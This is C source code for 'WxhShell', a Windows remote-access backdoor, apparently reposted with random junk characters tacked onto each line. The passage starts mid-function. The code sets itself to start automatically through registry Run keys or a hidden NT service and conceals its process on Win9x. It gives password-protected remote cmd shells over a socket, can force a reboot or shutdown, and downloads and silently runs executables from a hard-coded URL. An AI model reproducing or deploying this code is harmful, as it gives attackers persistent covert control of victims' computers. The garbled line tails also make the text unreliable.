    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Fs9!S a7v  
    if(Boot(SHUTDOWN)) ?9 <:QE;I>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aTH{'mN  
    else { d,k!qjf=r  
    closesocket(wsh); T(id^ w  
    ExitThread(0); E(>=rD/+  
    } P3x8UR=fS  
    break; gb[5&> (#  
    } NcBIg:V\c  
  // 获取shell f%][}NN)Xr  
  case 's': { 6]K_m(F  
    CmdShell(wsh); %O|iE M  
    closesocket(wsh); Ag-(5:  
    ExitThread(0); , qMzWa  
    break; fK>L!=Q  
  } 1m4$p2j  
  // 退出 ~!B\(@GU  
  case 'x': { 'OITI TM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  -*1d!  
    CloseIt(wsh); }T(D7|^R  
    break; UXJ eAE-  
    } &* M!lxDN  
  // 离开 =W(Q34  
  case 'q': { n\mO6aJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); I9|mG'  
    closesocket(wsh); W!Gq.M  
    WSACleanup(); 8'HEms  
    exit(1); o_izl \  
    break; 03$mYS_?  
        } R`NYEptJ  
  } KLST\ Ln:  
  } 0yk]o5a++  
rD*jp6Cl  
  // 提示信息 (nQ^  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W=~~5jFX  
} ;AG8C#_  
  } .]8ZwAs=&  
d[iQ` YW5  
  return; bV^rsJm  
} wON!MhA;  
/CrSu  
// shell模块句柄 P_F30 x(  
int CmdShell(SOCKET sock) lU8l}Ndz"  
{ (p"%O  
STARTUPINFO si; 4>wP7`/+y  
ZeroMemory(&si,sizeof(si)); OIGY`   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zu*F#s!tUI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m+ =] m_  
PROCESS_INFORMATION ProcessInfo; 8SMxw~9$  
char cmdline[]="cmd"; E^ B'4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L^1NY3=$  
  return 0; ju8> :y8  
} 1KU! tL  
)v'WWwXY>  
// 自身启动模式 hZ|z|!g0  
int StartFromService(void) yl'u'-Zb6  
{ Ki;*u_4{  
typedef struct g_;\iqxL  
{ "BM#4  
  DWORD ExitStatus; fW?vdYF  
  DWORD PebBaseAddress; P0;n9>g  
  DWORD AffinityMask; /p/]t,-j2  
  DWORD BasePriority; |Tv#4st  
  ULONG UniqueProcessId; z<MsKD0Q  
  ULONG InheritedFromUniqueProcessId; KYB`D.O   
}   PROCESS_BASIC_INFORMATION; s n8Qk=K  
lov!o: dJ  
PROCNTQSIP NtQueryInformationProcess; (Lbbc+1m  
Na<pwC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; xB@ T|EP  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; " s,1%Ltt  
GV1pn) 4  
  HANDLE             hProcess; esJ~;~[@(r  
  PROCESS_BASIC_INFORMATION pbi; v&6-a*<Z  
8'[~2/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (^ J I%>  
  if(NULL == hInst ) return 0; b!+hH Hv:  
-M\<nx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4j-Xi  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x[cL Bc<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n'"/KS+_  
zrvF]|1UP  
  if (!NtQueryInformationProcess) return 0; AzPu)  
"fb[23g%@k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q-(zwAaE  
  if(!hProcess) return 0; ~]sc^[  
irZ])a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 49eD1h3'X[  
|44Ploz2b  
  CloseHandle(hProcess); ^vZSUfS  
W<'m:dq  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 91/Q9xY  
if(hProcess==NULL) return 0; \UA[  
(|2t#'m  
HMODULE hMod; Kf3"Wf^q   
char procName[255]; n3WlZ!$  
unsigned long cbNeeded; aHD]k8 m z  
pd?M f=>#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); G0Iw-vf  
ldf\;Qk  
  CloseHandle(hProcess); [DuttFX^x  
:'Vf g[Uq  
if(strstr(procName,"services")) return 1; // 以服务启动 )705V|v  
Zj(AJ*r  
  return 0; // 注册表启动 vz&|J   
} 7P } W *  
9i:L&dN  
// 主模块 5=-Q4d  
int StartWxhshell(LPSTR lpCmdLine) yNPVOp*  
{ IW5,7.  
  SOCKET wsl; e1yt9@k,  
BOOL val=TRUE; `>o{P/HN  
  int port=0; ,KH#NY]  
  struct sockaddr_in door; *;W+>W  
I{|O "8  
  if(wscfg.ws_autoins) Install(); U4'#T%*  
6bg ;q(*7  
port=atoi(lpCmdLine); {qk1_yP  
sJKI!   
if(port<=0) port=wscfg.ws_port; aj='b.2)  
wLIMv3;k  
  WSADATA data; 4Z3su^XR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 1C+13LE$U  
"Bkfoi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %UrueMEO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g _9C*  
  door.sin_family = AF_INET; v&\Q8!r_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w7L{_aom  
  door.sin_port = htons(port); \  #F  
+Ze} B*0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hPkp;a #  
closesocket(wsl); iI T;K@&  
return 1; iT+8|Yia  
} #\{l"-  
E_rI?t^  
  if(listen(wsl,2) == INVALID_SOCKET) { gT. sj d  
closesocket(wsl); &u."A3(  
return 1; `7E;VL^Y1  
} %@b0[ZC  
  Wxhshell(wsl); h,:m~0gmj  
  WSACleanup(); ]h`&&Bqt  
.vf'YNQ%  
return 0; mY|)KJ  
P}}* Q7P  
} l:~/<`o  
J3V= 46Yc  
// 以NT服务方式启动 uo9B9"&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ELoDd&d8  
{ LVM%"sd?  
DWORD   status = 0; n` _{9R  
  DWORD   specificError = 0xfffffff; ,&A7iO  
RMV/&85?y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C^Yb\N}S  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +HpA:]#Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P= BZ+6DS  
  serviceStatus.dwWin32ExitCode     = 0; @D[_}JE  
  serviceStatus.dwServiceSpecificExitCode = 0; 1ba~SHi  
  serviceStatus.dwCheckPoint       = 0; J[|y:N  
  serviceStatus.dwWaitHint       = 0; )u&|_&g{}J  
n+9=1Oo"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eb\K "ec"  
  if (hServiceStatusHandle==0) return; ! I:%0D  
`g?Negt\v  
status = GetLastError(); e)k9dOR  
  if (status!=NO_ERROR) O`kl\K*R7  
{ u@) U"FZ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .hb:s,0mP  
    serviceStatus.dwCheckPoint       = 0; hh%-(HaLX3  
    serviceStatus.dwWaitHint       = 0; @i_FTN  
    serviceStatus.dwWin32ExitCode     = status; ~vhE|f  
    serviceStatus.dwServiceSpecificExitCode = specificError; $rBq"u=,0+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Et_bH%0  
    return; 6Pnjmw.HV  
  }  qA7>vi%  
!-x$L>1$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :pY/-Cgv  
  serviceStatus.dwCheckPoint       = 0; ^)S;xb9  
  serviceStatus.dwWaitHint       = 0;  DPxM'7  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wmL'F:UP  
} |A~jsz6pI  
1=c\Rr9]  
// 处理NT服务事件,比如:启动、停止 f}ji?p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #G|RnV%t$~  
{ /Iy]DU8  
switch(fdwControl) X7 MM2V  
{ U$.@]F4&  
case SERVICE_CONTROL_STOP: 65P0,b6"OT  
  serviceStatus.dwWin32ExitCode = 0; /t57!&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2;`1h[,-^  
  serviceStatus.dwCheckPoint   = 0; ZF8 yw(z  
  serviceStatus.dwWaitHint     = 0; %N6A+5H  
  { %lhEM}Sm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \ a<h/4#|  
  } %@aSe2B  
  return; H5B:;g@  
case SERVICE_CONTROL_PAUSE: A RuA<vQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1CD+B=pQG  
  break; 6:5I26  
case SERVICE_CONTROL_CONTINUE: bdrg(d6  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; K(rWNO  
  break; WRbj01v  
case SERVICE_CONTROL_INTERROGATE: G@\1E+Ip  
  break; BwGfTua  
}; d#Y^>"|$.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); . B9iLI  
} u;"TTN  
DB|Y  
// 标准应用程序主函数 \)N9aV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \;3~a9q%  
{ jl$ece5v  
A]0 St@  
// 获取操作系统版本 K~{$oD7!  
OsIsNt=GetOsVer(); AaOu L,l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F?*-4I-  
:yr+vcD?  
  // 从命令行安装 e0zq1XcZ  
  if(strpbrk(lpCmdLine,"iI")) Install(); wLH>:yKUU  
~O0 $Suv  
  // 下载执行文件 y/{fX(aV  
if(wscfg.ws_downexe) { )3}9K ^jS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ZR B)uA)5=  
  WinExec(wscfg.ws_filenam,SW_HIDE); nI-w}NQ  
} g" DG]/ev  
*boR`[Ond  
if(!OsIsNt) { SiRaFj4s"  
// 如果时win9x,隐藏进程并且设置为注册表启动 KIf dafRL  
HideProc(); gMmaK0uhS  
StartWxhshell(lpCmdLine); eS\Vib  
} SCHP L.n  
else vn!3l1\+J  
  if(StartFromService()) 5h-SCB>P  
  // 以服务方式启动 Tod&&T'UW  
  StartServiceCtrlDispatcher(DispatchTable); &\WSQmtto  
else BC#C9|n  
  // 普通方式启动 xp)sBM7A  
  StartWxhshell(lpCmdLine); T{.pM4Hd  
?m}s4a  
return 0; 3>AMII  
} /{aj}M0kN  
`l ^9/_g'6  
L-WT]&n_  
)._;~z!  
=========================================== Fn;SF4KOm  
q4:o#K#  
Uw. `7b>B  
8,4"uuI  
{ ]{/t-=  
<4si/=  
" rdP[<Y9  
4{U T!WIi  
#include <stdio.h> v5#j Z$<F  
#include <string.h> uM IIYS  
#include <windows.h> wedbx00o  
#include <winsock2.h> wr/"yQA]  
#include <winsvc.h> qZtzO2Mt  
#include <urlmon.h> EzM ?Nft  
N=5a54!/  
#pragma comment (lib, "Ws2_32.lib") P6-s0]-g  
#pragma comment (lib, "urlmon.lib") DS(}<HK{  
s4y73-J^.v  
#define MAX_USER   100 // 最大客户端连接数 zm5]J  
#define BUF_SOCK   200 // sock buffer DFB@O|JL  
#define KEY_BUFF   255 // 输入 buffer a`E#F] Z  
qs6]-  
#define REBOOT     0   // 重启 p Z|V 3  
#define SHUTDOWN   1   // 关机 x_N'TjS^{  
(l~AV9!m:  
#define DEF_PORT   5000 // 监听端口 RUnSCOdX  
#uG%j  
#define REG_LEN     16   // 注册表键长度 Eex~xiiV  
#define SVC_LEN     80   // NT服务名长度 x:NY\._  
{ M4gF8(M  
// 从dll定义API UT~4x|b:O  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [I,Z2G,Jb  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QC OM_$y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {tuYs:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A Ru2W1g  
2 /\r)$ 2i  
// wxhshell配置信息 ArI2wM/v  
struct WSCFG { a od-3"7[  
  int ws_port;         // 监听端口 )hn6sXo+  
  char ws_passstr[REG_LEN]; // 口令 jKAEm  
  int ws_autoins;       // 安装标记, 1=yes 0=no DZ'P@f)]  
  char ws_regname[REG_LEN]; // 注册表键名 {0Yf]FQb-a  
  char ws_svcname[REG_LEN]; // 服务名 y*jp79G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 jjB~G^n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 taHJ ub  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 vAF "n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ,F8Yn5h  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gZ3u=uME  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Xv5wJlc!d  
D[[|")Fn  
}; r"gJX  
Pe_W;q.  
// default Wxhshell configuration p?%y82E  
struct WSCFG wscfg={DEF_PORT, P:K5",)  
    "xuhuanlingzhe",  ul6]!Iy  
    1, qdJ=lhHM}  
    "Wxhshell", 36&e.3/#  
    "Wxhshell", F4-$~ v@  
            "WxhShell Service", K*vt;L  
    "Wrsky Windows CmdShell Service", In"ZIKaC  
    "Please Input Your Password: ", @su^0 9n  
  1, YNyk1cE  
  "http://www.wrsky.com/wxhshell.exe", b5dD/-Vj  
  "Wxhshell.exe" 7 UKh688  
    }; KI iO  
g#pr yYz  
// 消息定义模块 O-0x8O^B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?DS@e@lx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f M :]&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (?1y4M  
char *msg_ws_ext="\n\rExit."; ouvA~/5  
char *msg_ws_end="\n\rQuit."; $Ps|HN  
char *msg_ws_boot="\n\rReboot..."; Af~$TyX  
char *msg_ws_poff="\n\rShutdown..."; -e"H ^:  
char *msg_ws_down="\n\rSave to "; 6xx<Y2@  
~~/|dh5  
char *msg_ws_err="\n\rErr!"; 9IdA%RM~mH  
char *msg_ws_ok="\n\rOK!"; \$~|ZwV{  
\g&,@'uh  
char ExeFile[MAX_PATH]; !7O+ogL  
int nUser = 0; T@H ^BGs  
HANDLE handles[MAX_USER]; vFzRg5lH  
int OsIsNt; ^qvZXb  
7dTkp!'X-  
SERVICE_STATUS       serviceStatus; Fbr;{T .  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8+Lm's=W*  
~f&E7su-6+  
// 函数声明 + /4A  
int Install(void); 64 wv<r]5j  
int Uninstall(void); IYE~t  
int DownloadFile(char *sURL, SOCKET wsh); ,B*EVN  
int Boot(int flag); [: n'k  
void HideProc(void); +5g_KS  
int GetOsVer(void); &T?RZ2  
int Wxhshell(SOCKET wsl); P-9)38`5  
void TalkWithClient(void *cs); kr^P6}'  
int CmdShell(SOCKET sock); q5J5>  
int StartFromService(void); Gt8M&S-;  
int StartWxhshell(LPSTR lpCmdLine); xjUT{iwS  
*2>&"B09`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;>U2|>5V  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); D# 9m\o_  
3V+] 9;  
// 数据结构和表定义 L~(j3D* 3  
SERVICE_TABLE_ENTRY DispatchTable[] = !]A  
{ 0I-9nuw,^;  
{wscfg.ws_svcname, NTServiceMain}, ('4_ xOb  
{NULL, NULL} [NjXO`5#]  
}; TM__I\+Q  
60^`JVGWH  
// 自我安装 p;`>e>$  
int Install(void) M!siK2  
{ 58}U^IW  
  char svExeFile[MAX_PATH]; 6IN e@  
  HKEY key; hIYNhZv  
  strcpy(svExeFile,ExeFile); y1jCg%'H  
/wGM#sFH  
// 如果是win9x系统,修改注册表设为自启动 '|6]_   
if(!OsIsNt) { @(EAq<5{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1SQ3-WU s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h6L&\~pf  
  RegCloseKey(key); t4."/ .=+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9R!atPz9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1 fp?  
  RegCloseKey(key); VD;01"#'  
  return 0; )J o: pkM  
    } F>SRs=_  
  } ;>%r9pz ~  
} \i>?q   
else { 6%\J"AgXO  
\Gef \   
// 如果是NT以上系统,安装为系统服务 Y,qI@n<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hk;5w{t}}  
if (schSCManager!=0) h ]5(].  
{ Q^P}\wb>  
  SC_HANDLE schService = CreateService 9 &dtd  
  ( S3C]AhW;  
  schSCManager, )rIwqUgp6\  
  wscfg.ws_svcname, j.[.1G*("  
  wscfg.ws_svcdisp, zF`0J  
  SERVICE_ALL_ACCESS, d(ZO6Nr Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^`i#$  
  SERVICE_AUTO_START, ^x]r`b  
  SERVICE_ERROR_NORMAL, :I]Mps<  
  svExeFile, B9_ X;c  
  NULL, !NK1MU?T)  
  NULL, ~Py`P'+  
  NULL, ;DQ ZT  
  NULL,  \{_q.;}  
  NULL RT4x\&q  
  ); w?PkO p  
  if (schService!=0) Qab>|eSm  
  { +uF>2b6'  
  CloseServiceHandle(schService); J'6PmPzY|  
  CloseServiceHandle(schSCManager); Xz 6<lLb  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); df8k7D;~e  
  strcat(svExeFile,wscfg.ws_svcname); l ~"^7H?4e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @-07F,'W,  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @(w@e\Bq  
  RegCloseKey(key); {f_={k  
  return 0; 7DogM".}~Q  
    } 5+4IN5o]=  
  } %@J.{@>  
  CloseServiceHandle(schSCManager); LG9+GszX 2  
} VcE:G#]5  
} JJ-( Sl  
UkwP  
return 1; *}qWj_RT  
} V;VHv=9`o  
3Y4?CM&0v  
// 自我卸载 5+0gR &|j  
int Uninstall(void) LtF,kAIt7v  
{ #FLb*%Nr  
  HKEY key; @}u*|P*  
h%na>G  
if(!OsIsNt) { AEI>\Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oN~&_*FE  
  RegDeleteValue(key,wscfg.ws_regname); T3.&R#1M8-  
  RegCloseKey(key); caR<Kb:;*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,$L4dF3  
  RegDeleteValue(key,wscfg.ws_regname); sjHE/qmq-Z  
  RegCloseKey(key); |)th1 UH  
  return 0; *\a4wZ6<3  
  } ah$b [\#C  
} un"Gozmt5  
} & bm 1Fz  
else { bTNgjc  
IZ-1c1   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); w>&aEv/f  
if (schSCManager!=0) !<8W {LT  
{ ' ,wFTV&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yNJ B oar  
  if (schService!=0) gnf8 l?M  
  { [ZwjOi:)  
  if(DeleteService(schService)!=0) { lN 4oW3QT  
  CloseServiceHandle(schService); fCn^=8KOZ  
  CloseServiceHandle(schSCManager); r| wS<cA2  
  return 0; ha<[b ue  
  } #powub  
  CloseServiceHandle(schService); e;q!6%  
  } J7$5s  
  CloseServiceHandle(schSCManager); ,5p(T_V/  
} |Pax=oJ\M  
} %)8}X>xq  
=_*Zn(>t`  
return 1; '?' l;#^i<  
} wh`"w7br  
nsC3  
// 从指定url下载文件 Xf]d. :  
int DownloadFile(char *sURL, SOCKET wsh) 8U"v6S~A%Q  
{ epe)a  
  HRESULT hr; CI0C1/:@  
char seps[]= "/"; |kg7LP3(8,  
char *token; DH!~ BB;  
char *file; OX7M8cmc+  
char myURL[MAX_PATH]; Yx%Hs5}8  
char myFILE[MAX_PATH]; a$OE0zn`  
h 0Q5-EA  
strcpy(myURL,sURL); 9d659i C  
  token=strtok(myURL,seps); ^98~U\ar  
  while(token!=NULL) !sP {gi#=  
  { kd(8I_i@  
    file=token; `wEb<H  
  token=strtok(NULL,seps); 20h, ^  
  } .f2bNnB~pP  
g}{aZ$sta  
GetCurrentDirectory(MAX_PATH,myFILE); RWZSQ~  
strcat(myFILE, "\\"); ;7V%#-  
strcat(myFILE, file); L|7R9+ZG  
  send(wsh,myFILE,strlen(myFILE),0); c ( C%Hld  
send(wsh,"...",3,0); Z]Cq3~l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I-*S&SiXjI  
  if(hr==S_OK) #&aqKV Y  
return 0; 3z?> j]  
else s~g *@K>+  
return 1; n5NsmVW\x  
hd<c&7|G'  
} g-bK|6?yz  
4N3R|  
// 系统电源模块 !9r$e99R  
int Boot(int flag) $k%2J9O  
{ 7(8;t o6(  
  HANDLE hToken; BC.87Fji/  
  TOKEN_PRIVILEGES tkp; _C?hHWSf"  
E6ElNgL  
  if(OsIsNt) { hx%v+/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Rtl"Ub@HV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (m/G(wg  
    tkp.PrivilegeCount = 1; WX?IYQ+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k$R-#f;  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sIGMA$EK  
if(flag==REBOOT) { S`0(*A[W*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $a"Oc   
  return 0; a~}OZ&PG  
} 1};Stai'  
else { \&3+D8H>n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zP8lN(LA  
  return 0; 5x4yyb'  
} Id .nu/  
  } pJ"qu,w  
  else { M`!H"R7  
if(flag==REBOOT) { P@Oo$ o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) W+?4jwqw  
  return 0; Ckuh:bs  
} <uw9DU7G  
else { x2\qXN/R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f+,qNvBY/  
  return 0; [!#L6&:a8  
} K`zdc`/  
} q"8e a/  
K=h9Ce  
return 1; /]Md~=yNp  
} h2]P]@nW;W  
xj;H&swo  
// win9x进程隐藏模块 ~IBP|)WA-  
void HideProc(void) MaQqs=  
{ :>f )g  
@,7GaK\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); FbFPJ !fb  
  if ( hKernel != NULL ) 37.S\ gO]  
  { K;H&n1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f+)L#>Gl?  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); C1n>M}b  
    FreeLibrary(hKernel); qWPkT$ u  
  } rcG"o\g@+  
,m|h<faZL  
return; u^I|T.w<r6  
} LYK"(C  
}!.(n=idZ  
// 获取操作系统版本 YZ8>OwQz2  
int GetOsVer(void) 0-Ku7<a  
{ V5>B])yQ  
  OSVERSIONINFO winfo; )' cMYC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yjJ5>cg  
  GetVersionEx(&winfo); @:vwb\azVD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `kXs;T6&  
  return 1; ]Q3ADh  
  else \?k'4rH  
  return 0; 0znR0%~  
} -zeG1gr3  
'S&zCTX7j  
// 客户端句柄模块 wE`]7mA  
int Wxhshell(SOCKET wsl) 16(QR-  
{ AH7}/Rc  
  SOCKET wsh; 7.j?U  
  struct sockaddr_in client; Fq<A  
  DWORD myID; V&2l5v  
wJo}!{bN  
  while(nUser<MAX_USER) ;$wVu|&  
{ bJTBjS-7  
  int nSize=sizeof(client); iz PDd{[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z$. 88 ^  
  if(wsh==INVALID_SOCKET) return 1; K Z91-  
P}^W)@+3k  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c-6?2\]j@  
if(handles[nUser]==0) =X:Y,?  
  closesocket(wsh); E*K;H8}s  
else _A9AEi'.  
  nUser++; zHRplm+ i  
  } xfe+n$~ c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jm/`iXnMf  
`1fY)d^ZS  
  return 0; >0TxUc_va  
} Feq]U?  
yWo; a  
// 关闭 socket I1M%J@Cz  
void CloseIt(SOCKET wsh) Qpc__dA\  
{ }WXi$(@v  
closesocket(wsh); S_UIO.K  
nUser--; . 3T3E X|G  
ExitThread(0); ( ^Nz9{  
} 5<Nx^D  
= m#?neop  
// 客户端请求句柄 ;iL#7NG-R  
void TalkWithClient(void *cs) &d^m 1  
{ S;#'M![8  
Hf2_0wA3  
  SOCKET wsh=(SOCKET)cs; RMu~l@  
  char pwd[SVC_LEN]; <R=Zs[9M1  
  char cmd[KEY_BUFF]; >_T-u<E  
char chr[1]; s9DYi~/,  
int i,j; {B*s{{[/'  
R$[vm6T?  
  while (nUser < MAX_USER) { >!1-lfa8  
vV-`jsq20H  
if(wscfg.ws_passstr) { }00BllJ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cIOlhX@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z,Dl` w  
  //ZeroMemory(pwd,KEY_BUFF); M!D3}JRm  
      i=0; wjB:5~n50k  
  while(i<SVC_LEN) { .|i.Cq8  
f(y:G^V  
  // 设置超时 S3 Xl  
  fd_set FdRead; 'e'cb>GnA  
  struct timeval TimeOut; ^o&. fQ*  
  FD_ZERO(&FdRead); Z o(rTCZX  
  FD_SET(wsh,&FdRead); .Rs^YZF  
  TimeOut.tv_sec=8; H8}oIA"b  
  TimeOut.tv_usec=0; X2~!(WxU F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =^,m` _1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N2<!}Eyu  
_g"<UV*H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i2SR{e8:GF  
  pwd=chr[0]; H9Q&tl9  
  if(chr[0]==0xd || chr[0]==0xa) { O5T{eBo\  
  pwd=0; p}U ~+:v  
  break; Yufc{M00  
  } $suzW;{#  
  i++; v O_*yh1  
    } :nOFR$ W  
d)Y}>@:W  
  // 如果是非法用户,关闭 socket TJXT-\Vk  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w@w(-F!%l  
} 8P&:_T!  
|z^^.d~a0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .V8Lauz8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z1X`o  
<*cikXS  
while(1) { LG#t<5y~  
{9.|2%a  
  ZeroMemory(cmd,KEY_BUFF); A#YrWW  
hf&9uHN%7m  
      // 自动支持客户端 telnet标准   f x+/C8GK  
  j=0; SSMHoJGm  
  while(j<KEY_BUFF) { J)p l|I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q9s=~d7  
  cmd[j]=chr[0]; Jij*x>K>y  
  if(chr[0]==0xa || chr[0]==0xd) { T</F 0su|  
  cmd[j]=0; 6?c7$Y  
  break; NU2;X (z[  
  } )MTOU47U  
  j++; #Ki[$bS~6  
    } Z=vU}S>r|v  
aWF655Fs*  
  // 下载文件 Se =`N  
  if(strstr(cmd,"http://")) { c(s.5p ^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T{[=oH+  
  if(DownloadFile(cmd,wsh)) WCixKYq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ] >E s4 s  
  else fVpMx4&F   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u;2[AQ.  
